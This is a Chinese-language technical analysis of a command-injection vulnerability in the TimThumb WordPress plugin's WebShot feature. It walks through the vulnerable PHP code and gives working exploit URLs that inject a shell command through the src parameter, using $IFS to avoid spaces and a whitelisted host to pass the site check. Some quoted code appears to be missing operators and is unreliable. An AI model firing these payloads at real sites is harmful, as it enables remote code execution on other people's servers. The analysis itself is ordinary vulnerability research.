Wordpress TimThumb WebShot 远程命令执行漏洞分析
近日,著名的 Wordpress 插件 TimThumb 曝光远程命令执行漏洞 0day,TimThumb 中的 WebShot 功能在实现中调用了外部 GNU/Linux 命令导致存在命令执行漏洞。测试环境如下:
软件 | 版本 |
---|---|
操作系统 | Ubuntu 14.04 Server |
TimThumb 版本 | 2.8.13 |
需要安装的依赖:
apt-get install CutyCapt Xvfb
WebShot 默认是被禁用的,需要先修改 timthumb.php,将 WEBSHOT_ENABLED 改为 ture:
if(! defined('WEBSHOT_ENABLED') ) define ('WEBSHOT_ENABLED', true);
以下是已公布的 Payload:
http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat
从 Payload 中可看出,漏洞在 src 参数中触发。所以需要先搞清楚 src 是如何接受到的。以下是 timthumb.php 接受 src 参数的代码:
$this->src = $this->param('src');
好,现在知道 src 怎么得到内容后,再看看导致这个漏洞的关键代码:
if($this->param('webshot')){ if(WEBSHOT_ENABLED){ $this->debug(3, "webshot param is set, so we're going to take a webshot."); $this->serveWebshot(); } else {
如果参数中 webshot 不为空,并且 WEBSHOT_ENABLED 为 true,就调用 serveWebshot 方法。再看 serveWebshot 方法的关键代码:
$url = $this->src; # (1) if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){ return $this->error("Invalid URL supplied."); } $url = preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=]+/', '', $url); # (2) if(WEBSHOT_XVFB_RUNNING){ putenv('DISPLAY=:100.0'); $command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile"; # (3) } else { $command = "$xv --server-args=\"-screen 0, {$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile"; } $this->debug(3, "Executing command: $command"); $out = $command; # (4)
上方代码,$url 变量的值来源于 $this->src 变量。在(2)中,对 $url 进行了正则替换,并在(3)中,将处理过 $url 变量执行拼接在了 $command 变量里后,在(4)中调用了外部 shell 命令。
漏洞的关键触发点是(2)中的正则表达式,可从这个正则表达式中看出,$url 变量里是不允许空格的出现,所以 Payload 中使用了 $IFS 这个 shell 变量,可以帮助在不打空格下完成命令执行,比如我可以在 GNU/Linux 下正常执行以下命令:
$ ls$IFS/boot abi-3.11.0-19-generic memtest86+.bin
以下是我在 Ubuntu14.04+Apache+PHP5 测试结果:
$ curl http://192.168.1.109/www/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?webshot=1&src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx) $ ls /tmp/ hello_lu4nx
我请求了带了 Payload 的 URL:
http://192.168.1.109/www/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?webshot=1&src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx)
并成功在 /tmp 目录下创建了 hello_lu4nx 这个文件。
我的 Payload 和别人公布的有个不一样的关键细节,先看看别人 Payload 的 src 内容:
src=http://loncatlab.local/$(touch$IFS/tmp/longcat
再看看我的:
src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx)
对,不一样的就是 URL 中的 Host 地址,这个地址默认情况下必须是 timthumb.php 中全局变量 ALLOWED_SITES 的内容之一:
if(! isset($ALLOWED_SITES)){ $ALLOWED_SITES = array ( 'flickr.com', 'staticflickr.com', 'picasa.com', 'img.youtube.com', 'upload.wikimedia.org', 'photobucket.com', 'imgur.com', 'imageshack.us', 'tinypic.com', 'amazonaws.com' ); }
因为这里有段判断代码:
if($this->isURL){ if(ALLOW_ALL_EXTERNAL_SITES){ # (1) $this->debug(2, "Fetching from all external sites is enabled."); } else { $this->debug(2, "Fetching only from selected external sites is enabled."); $allowed = false; foreach($ALLOWED_SITES as $site){ if ((strtolower(substr($this->url['host'],-strlen($site)-1)) strtolower(".$site")) || (strtolower($this->url['host']) strtolower($site))) { $this->debug(3, "URL hostname {$this->url['host']} matches $site so allowing."); $allowed = true; } }
注意(1)中的判断代码:
if(ALLOW_ALL_EXTERNAL_SITES) ALLOW_ALL_EXTERNAL_SITES默认是false的: if(! defined('ALLOW_ALL_EXTERNAL_SITES') ) define ('ALLOW_ALL_EXTERNAL_SITES', false);
由于 ALLOW_ALL_EXTERNAL_SITES 为 false,所以会判断 Host 是否是 $ALLOWED_SITES 中列举的,不过这里没关系,随便选个即可。